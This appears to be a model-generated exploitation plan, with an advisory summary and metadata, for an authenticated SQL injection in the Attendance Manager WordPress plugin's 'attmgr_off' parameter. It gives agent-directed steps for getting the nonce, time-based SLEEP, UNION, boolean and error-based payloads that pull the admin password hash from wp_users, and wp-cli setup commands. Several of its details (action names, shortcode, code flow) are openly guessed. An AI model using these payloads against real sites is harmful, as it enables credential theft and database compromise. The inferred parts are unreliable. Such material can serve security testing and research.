The vulnerability resides in the handling of the `attmgr_off` parameter, which is used in a database query without proper sanitization or preparation.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** SQL Injection (SQLi)\n*   **Parameter:** `attmgr_off`\n*   **Condition:** The plugin fails to use `$wpdb->prepare()` or integer casting for the `attmgr_off` parameter before interpolating it into a SQL query string.\n*   **User Level:** Authenticated (Subscriber and above).\n*   **Impact:** Attackers can extract sensitive information from the WordPress database, including user hashes, secret keys, and configuration data.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** Likely an AJAX handler registered via `wp_ajax_attmgr_...` or `wp_ajax_nopriv_attmgr_...`. Based on the parameter name, it is likely related to retrieving attendance data or calendars.\n*   **Vulnerable Parameter:** `attmgr_off` (sent via `POST` or `GET`).\n*   **Authentication:** Required (Subscriber role).\n*   **Preconditions:** A user with at least Subscriber privileges must be logged in.\n\n### 3. Code Flow (Inferred)\n1.  A user triggers an action (e.g., navigating a calendar or loading an attendance table) that sends an AJAX request to `admin-ajax.php`.\n2.  The action (e.g., `attmgr_get_calendar`) triggers a handler function in the plugin (e.g., `attmgr_get_calendar_callback`).\n3.  The handler retrieves the `attmgr_off` parameter from `$_REQUEST['attmgr_off']` or `$_POST['attmgr_off']`.\n4.  The value is concatenated directly into a query string:\n    `$wpdb->get_results(\"SELECT ... WHERE ... LIMIT 10 OFFSET \" . $_POST['attmgr_off']);`\n5.  `$wpdb->query` or `$wpdb->get_results` executes the malicious SQL payload.\n\n### 4. Nonce Acquisition Strategy\nIf the AJAX handler enforces a nonce check (e.g., `check_ajax_referer` or `wp_verify_nonce`), the agent must retrieve it from the frontend.\n\n1.  **Identify Script Localization:** Search for `wp_localize_script` in the plugin source to find the variable name.\n    *   *Likely JS Object:* `attmgr_ajax` (inferred)\n    *   *Likely Nonce Key:* `nonce` or `attmgr_nonce` (inferred)\n2.  **Locate Triggering Page:** The script is likely enqueued on pages displaying the attendance manager shortcode or admin dashboard.\n    *   Shortcode to check: `[attendance_manager]` or similar (search for `add_shortcode` in source).\n3.  **Extraction Process:**\n    *   Create a page containing the plugin's shortcode.\n    *   Navigate to the page as a Subscriber.\n    *   Execute: `browser_eval(\"window.attmgr_ajax?.nonce\")` (Replace `attmgr_ajax` with the actual localized variable found).\n\n### 5. Exploitation Strategy\nThe agent will use a Time-Based Blind SQL Injection to confirm the vulnerability and then proceed to data extraction if needed.\n\n#### Step 1: Confirm Vulnerability (Time-Based)\n**HTTP Request:**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: TARGET_HOST\nContent-Type: application\u002Fx-www-form-urlencoded\nCookie: [Subscriber_Cookies]\n\naction=[ACTION_NAME]&attmgr_off=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=[NONCE]\n```\n*   **Expected Result:** The server response should be delayed by approximately 5 seconds.\n\n#### Step 2: Extract Admin Password Hash\n**HTTP Request (Example):**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: TARGET_HOST\nContent-Type: application\u002Fx-www-form-urlencoded\nCookie: [Subscriber_Cookies]\n\naction=[ACTION_NAME]&attmgr_off=1 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -&nonce=[NONCE]\n```\n*(Note: The number of columns in the UNION must match the original query. The agent must first determine the column count using `ORDER BY`.)*\n\n### 6. Test Data Setup\n1.  **Install Plugin:** `wp plugin install attendance-manager --version=0.6.2 --activate`\n2.  **Create Subscriber:** `wp user create victim victim@example.com --role=subscriber --user_pass=password123`\n3.  **Identify Action:** Grep the plugin directory:\n    *   `grep -rn \"wp_ajax\" .`\n    *   `grep -rn \"attmgr_off\" .`\n4.  **Create Page with Shortcode:**\n    *   Find the shortcode: `grep -rn \"add_shortcode\" .`\n    *   `wp post create --post_type=page --post_title=\"Attendance\" --post_status=publish --post_content=\"[SHORTCODE_FOUND]\"`\n\n### 7. Expected Results\n*   **Confirmation:** A successful SLEEP payload will result in a measurable HTTP response time delay.\n*   **Data Leakage:** If the endpoint returns data (e.g., JSON results), the `UNION SELECT` payload will cause the `user_pass` (hash) of the admin user to appear in the response body.\n\n### 8. Verification Steps (Post-Exploit)\nConfirm the database structure and the data that was targeted to ensure the exploit was accurate:\n1.  `wp db query \"SELECT user_login, user_pass FROM wp_users WHERE ID=1\"`\n2.  Compare the output hash with the data extracted via the AJAX endpoint.\n\n### 9. Alternative Approaches\n*   **Boolean-Based Blind:** If time-based is unstable, use boolean logic:\n    *   `attmgr_off=1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')`\n    *   Compare response content or length between `1=1` and `1=2`.\n*   **Error-Based:** Check if `WP_DEBUG` is on and use `updatexml()` or `extractvalue()`:\n    *   `attmgr_off=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)`\n\n### 10. Potential Action\u002FGrep Targets (Actionable for Agent)\nThe agent should start by running:\n```bash\n# Find the AJAX actions\ngrep -r \"wp_ajax\" wp-content\u002Fplugins\u002Fattendance-manager\u002F\n\n# Find where the parameter is used\ngrep -r \"attmgr_off\" wp-content\u002Fplugins\u002Fattendance-manager\u002F\n\n# Identify the SQL sink\ngrep -rP \"\\$wpdb->(get_results|get_row|get_var|query).*attmgr_off\" wp-content\u002Fplugins\u002Fattendance-manager\u002F\n```\n\n**Known structure (inferred):**\nThe plugin often uses a class-based structure. Look for `includes\u002Fclass-attendance-manager.php` or `attendance-manager-ajax.php`. The action is likely `attmgr_get_events` or `attmgr_load_attendance`.","The Attendance Manager plugin for WordPress is vulnerable to SQL Injection via the 'attmgr_off' parameter in all versions up to, and including, 0.6.2.

An attacker must authenticate with at least Subscriber privileges and identify the specific AJAX action that utilizes the 'attmgr_off' parameter (likely related to calendar or log navigation). If a nonce is required, it must be retrieved from the localized script variables on the plugin's frontend pages. The attacker then sends a POST request containing the malicious SQL payload in the 'attmgr_off' parameter. For example, a time-based blind injection payload like '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' will cause the server to delay its response, confirming the injection point. UNION-based queries can then be used to extract sensitive data from the wp_users table.","gemini-3-flash-preview","2026-04-17 20:35:42","2026-04-17 20:36:01",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fattendance-manager\u002Ftags"]
